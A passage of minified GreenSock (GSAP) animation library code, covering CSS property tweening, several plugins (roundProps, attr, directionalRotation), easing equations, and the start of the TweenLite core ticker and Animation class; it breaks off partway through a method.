                return "string" == typeof e && "=" === e.charAt(1) && (e = ("-" === e.charAt(0) ? -1 : 1) * parseFloat(e.substr(2)) + o),
                l && 1 === o && "hidden" === Q(t, "visibility", r) && 0 !== e && (o = 0),
                j ? n = new ce(h,"opacity",o,e - o,n) : (n = new ce(h,"opacity",100 * o,100 * (e - o),n),
                n.xn1 = l ? 1 : 0,
                h.zoom = 1,
                n.type = 2,
                n.b = "alpha(opacity=" + n.s + ")",
                n.e = "alpha(opacity=" + (n.s + n.c) + ")",
                n.data = t,
                n.plugin = a,
                n.setRatio = Fe),
                l && (n = new ce(h,"visibility",0,0,n,-1,null,!1,0,0 !== o ? "inherit" : "hidden",0 === e ? "hidden" : "inherit"),
                n.xs0 = "inherit",
                s._overwriteProps.push(n.n),
                s._overwriteProps.push(i)),
                n
            }
        });
        var Ee = function(t, e) {
            e && (t.removeProperty ? (("ms" === e.substr(0, 2) || "webkit" === e.substr(0, 6)) && (e = "-" + e),
            t.removeProperty(e.replace(S, "-$1").toLowerCase())) : t.removeAttribute(e))
        }
          , Ne = function(t) {
            if (this.t._gsClassPT = this,
            1 === t || 0 === t) {
                this.t.setAttribute("class", 0 === t ? this.b : this.e);
                for (var e = this.data, i = this.t.style; e; )
                    e.v ? i[e.p] = e.v : Ee(i, e.p),
                    e = e._next;
                1 === t && this.t._gsClassPT === this && (this.t._gsClassPT = null)
            } else
                this.t.getAttribute("class") !== this.e && this.t.setAttribute("class", this.e)
        };
        ve("className", {
            parser: function(t, e, s, n, a, o, h) {
                var l, _, u, p, f, c = t.getAttribute("class") || "", m = t.style.cssText;
                if (a = n._classNamePT = new ce(t,s,0,0,a,2),
                a.setRatio = Ne,
                a.pr = -11,
                i = !0,
                a.b = c,
                _ = K(t, r),
                u = t._gsClassPT) {
                    for (p = {},
                    f = u.data; f; )
                        p[f.p] = 1,
                        f = f._next;
                    u.setRatio(1)
                }
                return t._gsClassPT = a,
                a.e = "=" !== e.charAt(1) ? e : c.replace(RegExp("\\s*\\b" + e.substr(2) + "\\b"), "") + ("+" === e.charAt(0) ? " " + e.substr(2) : ""),
                t.setAttribute("class", a.e),
                l = J(t, _, K(t), h, p),
                t.setAttribute("class", c),
                a.data = l.firstMPT,
                t.style.cssText = m,
                a = a.xfirst = n.parse(t, l.difs, a, o)
            }
        });
        var Le = function(t) {
            if ((1 === t || 0 === t) && this.data._totalTime === this.data._totalDuration && "isFromStart" !== this.data.data) {
                var e, i, s, r, n, a = this.t.style, o = h.transform.parse;
                if ("all" === this.e)
                    a.cssText = "",
                    r = !0;
                else
                    for (e = this.e.split(" ").join("").split(","),
                    s = e.length; --s > -1; )
                        i = e[s],
                        h[i] && (h[i].parse === o ? r = !0 : i = "transformOrigin" === i ? Pe : h[i].p),
                        Ee(a, i);
                r && (Ee(a, xe),
                n = this.t._gsTransform,
                n && (n.svg && this.t.removeAttribute("data-svg-origin"),
                delete this.t._gsTransform))
            }
        };
        for (ve("clearProps", {
            parser: function(t, e, s, r, n) {
                return n = new ce(t,s,0,0,n,2),
                n.setRatio = Le,
                n.e = e,
                n.pr = -10,
                n.data = r._tween,
                i = !0,
                n
            }
        }),
        l = "bezier,throwProps,physicsProps,physics2D".split(","),
        de = l.length; de--; )
            ye(l[de]);
        l = a.prototype,
        l._firstPT = l._lastParsedTransform = l._transform = null,
        l._onInitTween = function(t, e, o) {
            if (!t.nodeType)
                return !1;
            this._target = t,
            this._tween = o,
            this._vars = e,
            _ = e.autoRound,
            i = !1,
            s = e.suffixMap || a.suffixMap,
            r = Z(t, ""),
            n = this._overwriteProps;
            var l, f, m, d, g, v, y, T, w, b = t.style;
            if (u && "" === b.zIndex && (l = Q(t, "zIndex", r),
            ("auto" === l || "" === l) && this._addLazySet(b, "zIndex", 0)),
            "string" == typeof e && (d = b.cssText,
            l = K(t, r),
            b.cssText = d + ";" + e,
            l = J(t, l, K(t)).difs,
            !j && x.test(e) && (l.opacity = parseFloat(RegExp.$1)),
            e = l,
            b.cssText = d),
            this._firstPT = f = e.className ? h.className.parse(t, e.className, "className", this, null, null, e) : this.parse(t, e, null),
            this._transformType) {
                for (w = 3 === this._transformType,
                xe ? p && (u = !0,
                "" === b.zIndex && (y = Q(t, "zIndex", r),
                ("auto" === y || "" === y) && this._addLazySet(b, "zIndex", 0)),
                c && this._addLazySet(b, "WebkitBackfaceVisibility", this._vars.WebkitBackfaceVisibility || (w ? "visible" : "hidden"))) : b.zoom = 1,
                m = f; m && m._next; )
                    m = m._next;
                T = new ce(t,"transform",0,0,null,2),
                this._linkCSSP(T, null, m),
                T.setRatio = xe ? Ie : ze,
                T.data = this._transform || Me(t, r, !0),
                T.tween = o,
                T.pr = -1,
                n.pop()
            }
            if (i) {
                for (; f; ) {
                    for (v = f._next,
                    m = d; m && m.pr > f.pr; )
                        m = m._next;
                    (f._prev = m ? m._prev : g) ? f._prev._next = f : d = f,
                    (f._next = m) ? m._prev = f : g = f,
                    f = v
                }
                this._firstPT = d
            }
            return !0
        }
        ,
        l.parse = function(t, e, i, n) {
            var a, o, l, u, p, f, c, m, d, g, v = t.style;
            for (a in e)
                f = e[a],
                o = h[a],
                o ? i = o.parse(t, f, a, this, i, n, e) : (p = Q(t, a, r) + "",
                d = "string" == typeof f,
                "color" === a || "fill" === a || "stroke" === a || -1 !== a.indexOf("Color") || d && P.test(f) ? (d || (f = le(f),
                f = (f.length > 3 ? "rgba(" : "rgb(") + f.join(",") + ")"),
                i = me(v, a, p, f, !0, "transparent", i, 0, n)) : !d || -1 === f.indexOf(" ") && -1 === f.indexOf(",") ? (l = parseFloat(p),
                c = l || 0 === l ? p.substr((l + "").length) : "",
                ("" === p || "auto" === p) && ("width" === a || "height" === a ? (l = ie(t, a, r),
                c = "px") : "left" === a || "top" === a ? (l = H(t, a, r),
                c = "px") : (l = "opacity" !== a ? 0 : 1,
                c = "")),
                g = d && "=" === f.charAt(1),
                g ? (u = parseInt(f.charAt(0) + "1", 10),
                f = f.substr(2),
                u *= parseFloat(f),
                m = f.replace(T, "")) : (u = parseFloat(f),
                m = d ? f.replace(T, "") : ""),
                "" === m && (m = a in s ? s[a] : c),
                f = u || 0 === u ? (g ? u + l : u) + m : e[a],
                c !== m && "" !== m && (u || 0 === u) && l && (l = $(t, a, l, c),
                "%" === m ? (l /= $(t, a, 100, "%") / 100,
                e.strictUnits !== !0 && (p = l + "%")) : "em" === m ? l /= $(t, a, 1, "em") : "px" !== m && (u = $(t, a, u, m),
                m = "px"),
                g && (u || 0 === u) && (f = u + l + m)),
                g && (u += l),
                !l && 0 !== l || !u && 0 !== u ? void 0 !== v[a] && (f || "NaN" != f + "" && null != f) ? (i = new ce(v,a,u || l || 0,0,i,-1,a,!1,0,p,f),
                i.xs0 = "none" !== f || "display" !== a && -1 === a.indexOf("Style") ? f : p) : q("invalid " + a + " tween value: " + e[a]) : (i = new ce(v,a,l,u - l,i,0,a,_ !== !1 && ("px" === m || "zIndex" === a),0,p,f),
                i.xs0 = m)) : i = me(v, a, p, f, !0, null, i, 0, n)),
                n && i && !i.plugin && (i.plugin = n);
            return i
        }
        ,
        l.setRatio = function(t) {
            var e, i, s, r = this._firstPT, n = 1e-6;
            if (1 !== t || this._tween._time !== this._tween._duration && 0 !== this._tween._time)
                if (t || this._tween._time !== this._tween._duration && 0 !== this._tween._time || this._tween._rawPrevTime === -1e-6)
                    for (; r; ) {
                        if (e = r.c * t + r.s,
                        r.r ? e = Math.round(e) : n > e && e > -n && (e = 0),
                        r.type)
                            if (1 === r.type)
                                if (s = r.l,
                                2 === s)
                                    r.t[r.p] = r.xs0 + e + r.xs1 + r.xn1 + r.xs2;
                                else if (3 === s)
                                    r.t[r.p] = r.xs0 + e + r.xs1 + r.xn1 + r.xs2 + r.xn2 + r.xs3;
                                else if (4 === s)
                                    r.t[r.p] = r.xs0 + e + r.xs1 + r.xn1 + r.xs2 + r.xn2 + r.xs3 + r.xn3 + r.xs4;
                                else if (5 === s)
                                    r.t[r.p] = r.xs0 + e + r.xs1 + r.xn1 + r.xs2 + r.xn2 + r.xs3 + r.xn3 + r.xs4 + r.xn4 + r.xs5;
                                else {
                                    for (i = r.xs0 + e + r.xs1,
                                    s = 1; r.l > s; s++)
                                        i += r["xn" + s] + r["xs" + (s + 1)];
                                    r.t[r.p] = i
                                }
                            else
                                -1 === r.type ? r.t[r.p] = r.xs0 : r.setRatio && r.setRatio(t);
                        else
                            r.t[r.p] = e + r.xs0;
                        r = r._next
                    }
                else
                    for (; r; )
                        2 !== r.type ? r.t[r.p] = r.b : r.setRatio(t),
                        r = r._next;
            else
                for (; r; )
                    2 !== r.type ? r.t[r.p] = r.e : r.setRatio(t),
                    r = r._next
        }
        ,
        l._enableTransforms = function(t) {
            this._transform = this._transform || Me(this._target, r, !0),
            this._transformType = this._transform.svg && Te || !t && 3 !== this._transformType ? 2 : 3
        }
        ;
        var Xe = function() {
            this.t[this.p] = this.e,
            this.data._linkCSSP(this, this._next, null, !0)
        };
        l._addLazySet = function(t, e, i) {
            var s = this._firstPT = new ce(t,e,0,0,this._firstPT,2);
            s.e = i,
            s.setRatio = Xe,
            s.data = this
        }
        ,
        l._linkCSSP = function(t, e, i, s) {
            return t && (e && (e._prev = t),
            t._next && (t._next._prev = t._prev),
            t._prev ? t._prev._next = t._next : this._firstPT === t && (this._firstPT = t._next,
            s = !0),
            i ? i._next = t : s || null !== this._firstPT || (this._firstPT = t),
            t._next = e,
            t._prev = i),
            t
        }
        ,
        l._kill = function(e) {
            var i, s, r, n = e;
            if (e.autoAlpha || e.alpha) {
                n = {};
                for (s in e)
                    n[s] = e[s];
                n.opacity = 1,
                n.autoAlpha && (n.visibility = 1)
            }
            return e.className && (i = this._classNamePT) && (r = i.xfirst,
            r && r._prev ? this._linkCSSP(r._prev, i._next, r._prev._prev) : r === this._firstPT && (this._firstPT = i._next),
            i._next && this._linkCSSP(i._next, i._next._next, r._prev),
            this._classNamePT = null),
            t.prototype._kill.call(this, n)
        }
        ;
        var Ue = function(t, e, i) {
            var s, r, n, a;
            if (t.slice)
                for (r = t.length; --r > -1; )
                    Ue(t[r], e, i);
            else
                for (s = t.childNodes,
                r = s.length; --r > -1; )
                    n = s[r],
                    a = n.type,
                    n.style && (e.push(K(n)),
                    i && i.push(n)),
                    1 !== a && 9 !== a && 11 !== a || !n.childNodes.length || Ue(n, e, i)
        };
        return a.cascadeTo = function(t, i, s) {
            var r, n, a, o, h = e.to(t, i, s), l = [h], _ = [], u = [], p = [], f = e._internals.reservedProps;
            for (t = h._targets || h.target,
            Ue(t, _, p),
            h.render(i, !0, !0),
            Ue(t, u),
            h.render(0, !0, !0),
            h._enabled(!0),
            r = p.length; --r > -1; )
                if (n = J(p[r], _[r], u[r]),
                n.firstMPT) {
                    n = n.difs;
                    for (a in s)
                        f[a] && (n[a] = s[a]);
                    o = {};
                    for (a in n)
                        o[a] = _[r][a];
                    l.push(e.fromTo(p[r], i, o, n))
                }
            return l
        }
        ,
        t.activate([a]),
        a
    }, !0),
    function() {
        var t = _gsScope._gsDefine.plugin({
            propName: "roundProps",
            priority: -1,
            API: 2,
            init: function(t, e, i) {
                return this._tween = i,
                !0
            }
        })
          , e = t.prototype;
        e._onInitAllProps = function() {
            for (var t, e, i, s = this._tween, r = s.vars.roundProps instanceof Array ? s.vars.roundProps : s.vars.roundProps.split(","), n = r.length, a = {}, o = s._propLookup.roundProps; --n > -1; )
                a[r[n]] = 1;
            for (n = r.length; --n > -1; )
                for (t = r[n],
                e = s._firstPT; e; )
                    i = e._next,
                    e.pg ? e.t._roundProps(a, !0) : e.n === t && (this._add(e.t, t, e.s, e.c),
                    i && (i._prev = e._prev),
                    e._prev ? e._prev._next = i : s._firstPT === e && (s._firstPT = i),
                    e._next = e._prev = null,
                    s._propLookup[t] = o),
                    e = i;
            return !1
        }
        ,
        e._add = function(t, e, i, s) {
            this._addTween(t, e, i, i + s, e, !0),
            this._overwriteProps.push(e)
        }
    }(),
    _gsScope._gsDefine.plugin({
        propName: "attr",
        API: 2,
        version: "0.3.3",
        init: function(t, e) {
            var i, s, r;
            if ("function" != typeof t.setAttribute)
                return !1;
            this._target = t,
            this._proxy = {},
            this._start = {},
            this._end = {};
            for (i in e)
                this._start[i] = this._proxy[i] = s = t.getAttribute(i),
                r = this._addTween(this._proxy, i, parseFloat(s), e[i], i),
                this._end[i] = r ? r.s + r.c : e[i],
                this._overwriteProps.push(i);
            return !0
        },
        set: function(t) {
            this._super.setRatio.call(this, t);
            for (var e, i = this._overwriteProps, s = i.length, r = 1 === t ? this._end : t ? this._proxy : this._start; --s > -1; )
                e = i[s],
                this._target.setAttribute(e, r[e] + "")
        }
    }),
    _gsScope._gsDefine.plugin({
        propName: "directionalRotation",
        version: "0.2.1",
        API: 2,
        init: function(t, e) {
            "object" != typeof e && (e = {
                rotation: e
            }),
            this.finals = {};
            var i, s, r, n, a, o, h = e.useRadians === !0 ? 2 * Math.PI : 360, l = 1e-6;
            for (i in e)
                "useRadians" !== i && (o = (e[i] + "").split("_"),
                s = o[0],
                r = parseFloat("function" != typeof t[i] ? t[i] : t[i.indexOf("set") || "function" != typeof t["get" + i.substr(3)] ? i : "get" + i.substr(3)]()),
                n = this.finals[i] = "string" == typeof s && "=" === s.charAt(1) ? r + parseInt(s.charAt(0) + "1", 10) * Number(s.substr(2)) : Number(s) || 0,
                a = n - r,
                o.length && (s = o.join("_"),
                -1 !== s.indexOf("short") && (a %= h,
                a !== a % (h / 2) && (a = 0 > a ? a + h : a - h)),
                -1 !== s.indexOf("_cw") && 0 > a ? a = (a + 9999999999 * h) % h - (0 | a / h) * h : -1 !== s.indexOf("ccw") && a > 0 && (a = (a - 9999999999 * h) % h - (0 | a / h) * h)),
                (a > l || -l > a) && (this._addTween(t, i, r, r + a, i),
                this._overwriteProps.push(i)));
            return !0
        },
        set: function(t) {
            var e;
            if (1 !== t)
                this._super.setRatio.call(this, t);
            else
                for (e = this._firstPT; e; )
                    e.f ? e.t[e.p](this.finals[e.p]) : e.t[e.p] = this.finals[e.p],
                    e = e._next
        }
    })._autoCSS = !0,
    _gsScope._gsDefine("easing.Back", ["easing.Ease"], function(t) {
        var e, i, s, r = _gsScope.GreenSockGlobals || _gsScope, n = r.com.greensock, a = 2 * Math.PI, o = Math.PI / 2, h = n._class, l = function(e, i) {
            var s = h("easing." + e, function() {}, !0)
              , r = s.prototype = new t;
            return r.constructor = s,
            r.getRatio = i,
            s
        }, _ = t.register || function() {}
        , u = function(t, e, i, s) {
            var r = h("easing." + t, {
                easeOut: new e,
                easeIn: new i,
                easeInOut: new s
            }, !0);
            return _(r, t),
            r
        }, p = function(t, e, i) {
            this.t = t,
            this.v = e,
            i && (this.next = i,
            i.prev = this,
            this.c = i.v - e,
            this.gap = i.t - t)
        }, f = function(e, i) {
            var s = h("easing." + e, function(t) {
                this._p1 = t || 0 === t ? t : 1.70158,
                this._p2 = 1.525 * this._p1
            }, !0)
              , r = s.prototype = new t;
            return r.constructor = s,
            r.getRatio = i,
            r.config = function(t) {
                return new s(t)
            }
            ,
            s
        }, c = u("Back", f("BackOut", function(t) {
            return (t -= 1) * t * ((this._p1 + 1) * t + this._p1) + 1
        }), f("BackIn", function(t) {
            return t * t * ((this._p1 + 1) * t - this._p1)
        }), f("BackInOut", function(t) {
            return 1 > (t *= 2) ? .5 * t * t * ((this._p2 + 1) * t - this._p2) : .5 * ((t -= 2) * t * ((this._p2 + 1) * t + this._p2) + 2)
        })), m = h("easing.SlowMo", function(t, e, i) {
            e = e || 0 === e ? e : .7,
            null == t ? t = .7 : t > 1 && (t = 1),
            this._p = 1 !== t ? e : 0,
            this._p1 = (1 - t) / 2,
            this._p2 = t,
            this._p3 = this._p1 + this._p2,
            this._calcEnd = i === !0
        }, !0), d = m.prototype = new t;
        return d.constructor = m,
        d.getRatio = function(t) {
            var e = t + (.5 - t) * this._p;
            return this._p1 > t ? this._calcEnd ? 1 - (t = 1 - t / this._p1) * t : e - (t = 1 - t / this._p1) * t * t * t * e : t > this._p3 ? this._calcEnd ? 1 - (t = (t - this._p3) / this._p1) * t : e + (t - e) * (t = (t - this._p3) / this._p1) * t * t * t : this._calcEnd ? 1 : e
        }
        ,
        m.ease = new m(.7,.7),
        d.config = m.config = function(t, e, i) {
            return new m(t,e,i)
        }
        ,
        e = h("easing.SteppedEase", function(t) {
            t = t || 1,
            this._p1 = 1 / t,
            this._p2 = t + 1
        }, !0),
        d = e.prototype = new t,
        d.constructor = e,
        d.getRatio = function(t) {
            return 0 > t ? t = 0 : t >= 1 && (t = .999999999),
            (this._p2 * t >> 0) * this._p1
        }
        ,
        d.config = e.config = function(t) {
            return new e(t)
        }
        ,
        i = h("easing.RoughEase", function(e) {
            e = e || {};
            for (var i, s, r, n, a, o, h = e.taper || "none", l = [], _ = 0, u = 0 | (e.points || 20), f = u, c = e.randomize !== !1, m = e.clamp === !0, d = e.template instanceof t ? e.template : null, g = "number" == typeof e.strength ? .4 * e.strength : .4; --f > -1; )
                i = c ? Math.random() : 1 / u * f,
                s = d ? d.getRatio(i) : i,
                "none" === h ? r = g : "out" === h ? (n = 1 - i,
                r = n * n * g) : "in" === h ? r = i * i * g : .5 > i ? (n = 2 * i,
                r = .5 * n * n * g) : (n = 2 * (1 - i),
                r = .5 * n * n * g),
                c ? s += Math.random() * r - .5 * r : f % 2 ? s += .5 * r : s -= .5 * r,
                m && (s > 1 ? s = 1 : 0 > s && (s = 0)),
                l[_++] = {
                    x: i,
                    y: s
                };
            for (l.sort(function(t, e) {
                return t.x - e.x
            }),
            o = new p(1,1,null),
            f = u; --f > -1; )
                a = l[f],
                o = new p(a.x,a.y,o);
            this._prev = new p(0,0,0 !== o.t ? o : o.next)
        }, !0),
        d = i.prototype = new t,
        d.constructor = i,
        d.getRatio = function(t) {
            var e = this._prev;
            if (t > e.t) {
                for (; e.next && t >= e.t; )
                    e = e.next;
                e = e.prev
            } else
                for (; e.prev && e.t >= t; )
                    e = e.prev;
            return this._prev = e,
            e.v + (t - e.t) / e.gap * e.c
        }
        ,
        d.config = function(t) {
            return new i(t)
        }
        ,
        i.ease = new i,
        u("Bounce", l("BounceOut", function(t) {
            return 1 / 2.75 > t ? 7.5625 * t * t : 2 / 2.75 > t ? 7.5625 * (t -= 1.5 / 2.75) * t + .75 : 2.5 / 2.75 > t ? 7.5625 * (t -= 2.25 / 2.75) * t + .9375 : 7.5625 * (t -= 2.625 / 2.75) * t + .984375
        }), l("BounceIn", function(t) {
            return 1 / 2.75 > (t = 1 - t) ? 1 - 7.5625 * t * t : 2 / 2.75 > t ? 1 - (7.5625 * (t -= 1.5 / 2.75) * t + .75) : 2.5 / 2.75 > t ? 1 - (7.5625 * (t -= 2.25 / 2.75) * t + .9375) : 1 - (7.5625 * (t -= 2.625 / 2.75) * t + .984375)
        }), l("BounceInOut", function(t) {
            var e = .5 > t;
            return t = e ? 1 - 2 * t : 2 * t - 1,
            t = 1 / 2.75 > t ? 7.5625 * t * t : 2 / 2.75 > t ? 7.5625 * (t -= 1.5 / 2.75) * t + .75 : 2.5 / 2.75 > t ? 7.5625 * (t -= 2.25 / 2.75) * t + .9375 : 7.5625 * (t -= 2.625 / 2.75) * t + .984375,
            e ? .5 * (1 - t) : .5 * t + .5
        })),
        u("Circ", l("CircOut", function(t) {
            return Math.sqrt(1 - (t -= 1) * t)
        }), l("CircIn", function(t) {
            return -(Math.sqrt(1 - t * t) - 1)
        }), l("CircInOut", function(t) {
            return 1 > (t *= 2) ? -.5 * (Math.sqrt(1 - t * t) - 1) : .5 * (Math.sqrt(1 - (t -= 2) * t) + 1)
        })),
        s = function(e, i, s) {
            var r = h("easing." + e, function(t, e) {
                this._p1 = t >= 1 ? t : 1,
                this._p2 = (e || s) / (1 > t ? t : 1),
                this._p3 = this._p2 / a * (Math.asin(1 / this._p1) || 0),
                this._p2 = a / this._p2
            }, !0)
              , n = r.prototype = new t;
            return n.constructor = r,
            n.getRatio = i,
            n.config = function(t, e) {
                return new r(t,e)
            }
            ,
            r
        }
        ,
        u("Elastic", s("ElasticOut", function(t) {
            return this._p1 * Math.pow(2, -10 * t) * Math.sin((t - this._p3) * this._p2) + 1
        }, .3), s("ElasticIn", function(t) {
            return -(this._p1 * Math.pow(2, 10 * (t -= 1)) * Math.sin((t - this._p3) * this._p2))
        }, .3), s("ElasticInOut", function(t) {
            return 1 > (t *= 2) ? -.5 * this._p1 * Math.pow(2, 10 * (t -= 1)) * Math.sin((t - this._p3) * this._p2) : .5 * this._p1 * Math.pow(2, -10 * (t -= 1)) * Math.sin((t - this._p3) * this._p2) + 1
        }, .45)),
        u("Expo", l("ExpoOut", function(t) {
            return 1 - Math.pow(2, -10 * t)
        }), l("ExpoIn", function(t) {
            return Math.pow(2, 10 * (t - 1)) - .001
        }), l("ExpoInOut", function(t) {
            return 1 > (t *= 2) ? .5 * Math.pow(2, 10 * (t - 1)) : .5 * (2 - Math.pow(2, -10 * (t - 1)))
        })),
        u("Sine", l("SineOut", function(t) {
            return Math.sin(t * o)
        }), l("SineIn", function(t) {
            return -Math.cos(t * o) + 1
        }), l("SineInOut", function(t) {
            return -.5 * (Math.cos(Math.PI * t) - 1)
        })),
        h("easing.EaseLookup", {
            find: function(e) {
                return t.map[e]
            }
        }, !0),
        _(r.SlowMo, "SlowMo", "ease,"),
        _(i, "RoughEase", "ease,"),
        _(e, "SteppedEase", "ease,"),
        c
    }, !0)
}),
_gsScope._gsDefine && _gsScope._gsQueue.pop()(),
function(t, e) {
    "use strict";
    var i = t.GreenSockGlobals = t.GreenSockGlobals || t;
    if (!i.TweenLite) {
        var s, r, n, a, o, h = function(t) {
            var e, s = t.split("."), r = i;
            for (e = 0; s.length > e; e++)
                r[s[e]] = r = r[s[e]] || {};
            return r
        }, l = h("com.greensock"), _ = 1e-10, u = function(t) {
            var e, i = [], s = t.length;
            for (e = 0; e !== s; i.push(t[e++]))
                ;
            return i
        }, p = function() {}, f = function() {
            var t = Object.prototype.toString
              , e = t.call([]);
            return function(i) {
                return null != i && (i instanceof Array || "object" == typeof i && !!i.push && t.call(i) === e)
            }
        }(), c = {}, m = function(s, r, n, a) {
            this.sc = c[s] ? c[s].sc : [],
            c[s] = this,
            this.gsClass = null,
            this.func = n;
            var o = [];
            this.check = function(l) {
                for (var _, u, p, f, d = r.length, g = d; --d > -1; )
                    (_ = c[r[d]] || new m(r[d],[])).gsClass ? (o[d] = _.gsClass,
                    g--) : l && _.sc.push(this);
                if (0 === g && n)
                    for (u = ("com.greensock." + s).split("."),
                    p = u.pop(),
                    f = h(u.join("."))[p] = this.gsClass = n.apply(n, o),
                    a && (i[p] = f,
                    "function" == typeof define && define.amd ? define((t.GreenSockAMDPath ? t.GreenSockAMDPath + "/" : "") + s.split(".").pop(), [], function() {
                        return f
                    }) : s === e && "undefined" != typeof module && module.exports && (module.exports = f)),
                    d = 0; this.sc.length > d; d++)
                        this.sc[d].check()
            }
            ,
            this.check(!0)
        }, d = t._gsDefine = function(t, e, i, s) {
            return new m(t,e,i,s)
        }
        , g = l._class = function(t, e, i) {
            return e = e || function() {}
            ,
            d(t, [], function() {
                return e
            }, i),
            e
        }
        ;
        d.globals = i;
        var v = [0, 0, 1, 1]
          , y = []
          , T = g("easing.Ease", function(t, e, i, s) {
            this._func = t,
            this._type = i || 0,
            this._power = s || 0,
            this._params = e ? v.concat(e) : v
        }, !0)
          , w = T.map = {}
          , x = T.register = function(t, e, i, s) {
            for (var r, n, a, o, h = e.split(","), _ = h.length, u = (i || "easeIn,easeOut,easeInOut").split(","); --_ > -1; )
                for (n = h[_],
                r = s ? g("easing." + n, null, !0) : l.easing[n] || {},
                a = u.length; --a > -1; )
                    o = u[a],
                    w[n + "." + o] = w[o + n] = r[o] = t.getRatio ? t : t[o] || new t
        }
        ;
        for (n = T.prototype,
        n._calcEnd = !1,
        n.getRatio = function(t) {
            if (this._func)
                return this._params[0] = t,
                this._func.apply(null, this._params);
            var e = this._type
              , i = this._power
              , s = 1 === e ? 1 - t : 2 === e ? t : .5 > t ? 2 * t : 2 * (1 - t);
            return 1 === i ? s *= s : 2 === i ? s *= s * s : 3 === i ? s *= s * s * s : 4 === i && (s *= s * s * s * s),
            1 === e ? 1 - s : 2 === e ? s : .5 > t ? s / 2 : 1 - s / 2
        }
        ,
        s = ["Linear", "Quad", "Cubic", "Quart", "Quint,Strong"],
        r = s.length; --r > -1; )
            n = s[r] + ",Power" + r,
            x(new T(null,null,1,r), n, "easeOut", !0),
            x(new T(null,null,2,r), n, "easeIn" + (0 === r ? ",easeNone" : "")),
            x(new T(null,null,3,r), n, "easeInOut");
        w.linear = l.easing.Linear.easeIn,
        w.swing = l.easing.Quad.easeInOut;
        var b = g("events.EventDispatcher", function(t) {
            this._listeners = {},
            this._eventTarget = t || this
        });
        n = b.prototype,
        n.addEventListener = function(t, e, i, s, r) {
            r = r || 0;
            var n, h, l = this._listeners[t], _ = 0;
            for (null == l && (this._listeners[t] = l = []),
            h = l.length; --h > -1; )
                n = l[h],
                n.c === e && n.s === i ? l.splice(h, 1) : 0 === _ && r > n.pr && (_ = h + 1);
            l.splice(_, 0, {
                c: e,
                s: i,
                up: s,
                pr: r
            }),
            this !== a || o || a.wake()
        }
        ,
        n.removeEventListener = function(t, e) {
            var i, s = this._listeners[t];
            if (s)
                for (i = s.length; --i > -1; )
                    if (s[i].c === e)
                        return s.splice(i, 1),
                        void 0
        }
        ,
        n.dispatchEvent = function(t) {
            var e, i, s, r = this._listeners[t];
            if (r)
                for (e = r.length,
                i = this._eventTarget; --e > -1; )
                    s = r[e],
                    s && (s.up ? s.c.call(s.s || i, {
                        type: t,
                        target: i
                    }) : s.c.call(s.s || i))
        }
        ;
        var P = t.requestAnimationFrame
          , S = t.cancelAnimationFrame
          , k = Date.now || function() {
            return (new Date).getTime()
        }
          , R = k();
        for (s = ["ms", "moz", "webkit", "o"],
        r = s.length; --r > -1 && !P; )
            P = t[s[r] + "RequestAnimationFrame"],
            S = t[s[r] + "CancelAnimationFrame"] || t[s[r] + "CancelRequestAnimationFrame"];
        g("Ticker", function(t, e) {
            var i, s, r, n, h, l = this, u = k(), f = e !== !1 && P, c = 500, m = 33, d = "tick", g = function(t) {
                var e, a, o = k() - R;
                o > c && (u += o - m),
                R += o,
                l.time = (R - u) / 1e3,
                e = l.time - h,
                (!i || e > 0 || t === !0) && (l.frame++,
                h += e + (e >= n ? .004 : n - e),
                a = !0),
                t !== !0 && (r = s(g)),
                a && l.dispatchEvent(d)
            };
            b.call(l),
            l.time = l.frame = 0,
            l.tick = function() {
                g(!0)
            }
            ,
            l.lagSmoothing = function(t, e) {
                c = t || 1 / _,
                m = Math.min(e, c, 0)
            }
            ,
            l.sleep = function() {
                null != r && (f && S ? S(r) : clearTimeout(r),
                s = p,
                r = null,
                l === a && (o = !1))
            }
            ,
            l.wake = function() {
                null !== r ? l.sleep() : l.frame > 10 && (R = k() - c + 5),
                s = 0 === i ? p : f && P ? P : function(t) {
                    return setTimeout(t, 0 | 1e3 * (h - l.time) + 1)
                }
                ,
                l === a && (o = !0),
                g(2)
            }
            ,
            l.fps = function(t) {
                return arguments.length ? (i = t,
                n = 1 / (i || 60),
                h = this.time + n,
                l.wake(),
                void 0) : i
            }
            ,
            l.useRAF = function(t) {
                return arguments.length ? (l.sleep(),
                f = t,
                l.fps(i),
                void 0) : f
            }
            ,
            l.fps(t),
            setTimeout(function() {
                f && 5 > l.frame && l.useRAF(!1)
            }, 1500)
        }),
        n = l.Ticker.prototype = new l.events.EventDispatcher,
        n.constructor = l.Ticker;
        var A = g("core.Animation", function(t, e) {
            if (this.vars = e = e || {},
            this._duration = this._totalDuration = t || 0,
            this._delay = Number(e.delay) || 0,
            this._timeScale = 1,
            this._active = e.immediateRender === !0,
            this.data = e.data,
            this._reversed = e.reversed === !0,
            B) {
                o || a.wake();
                var i = this.vars.useFrames ? j : B;
                i.add(this, i._time),
                this.vars.paused && this.paused(!0)
            }
        });
        a = A.ticker = new l.Ticker,
        n = A.prototype,
        n._dirty = n._gc = n._initted = n._paused = !1,
        n._totalTime = n._time = 0,
        n._rawPrevTime = -1,
        n._next = n._last = n._onUpdate = n._timeline = n.timeline = null,
        n._paused = !1;
        var O = function() {
            o && k() - R > 2e3 && a.wake(),
            setTimeout(O, 2e3)
        };
        O(),
        n.play = function(t, e) {
            return null != t && this.seek(t, e),
            this.reversed(!1).paused(!1)
        }
        ,
        n.pause = function(t, e) {
            return null != t && this.seek(t, e),
            this.paused(!0)
        }
        ,
        n.resume = function(t, e) {
            return null != t && this.seek(t, e),
            this.paused(!1)
        }
        ,
        n.seek = function(t, e) {
            return this.totalTime(Number(t), e !== !1)
        }
        ,
        n.restart = function(t, e) {
            return this.reversed(!1).paused(!1).totalTime(t ? -this._delay : 0, e !== !1, !0)
        }
        ,
        n.reverse = function(t, e) {
            return null != t && this.seek(t || this.totalDuration(), e),
            this.reversed(!0).paused(!1)
        }
        ,
        n.render = function() {}
        ,
        n.invalidate = function() {
            return this._time = this._totalTime = 0,
            this._initted = this._gc = !1,
            this._rawPrevTime = -1,
            (this._gc || !this.timeline) && this._enabled(!0),
            this
        }
        ,
        n.isActive = function() {
            var t, e = this._timeline, i = this._startTime;
            return !e || !this._gc && !this._paused && e.isActive() && (t = e.rawTime()) >= i && i + this.totalDuration() / this._timeScale > t
        }
        ,
        n._enabled = function(t, e) {
            return o || a.wake(),
            this._gc = !t,
            this._active = this.isActive(),
            e !== !0 && (t && !this.timeline ? this._timeline.add(this, this._startTime - this._delay) : !t && this.timeline && this._timeline._remove(this, !0)),
            !1
        }
        ,
        n._kill = function() {
            return this._enabled(!1, !1)
        }
        ,
        n.kill = function(t, e) {
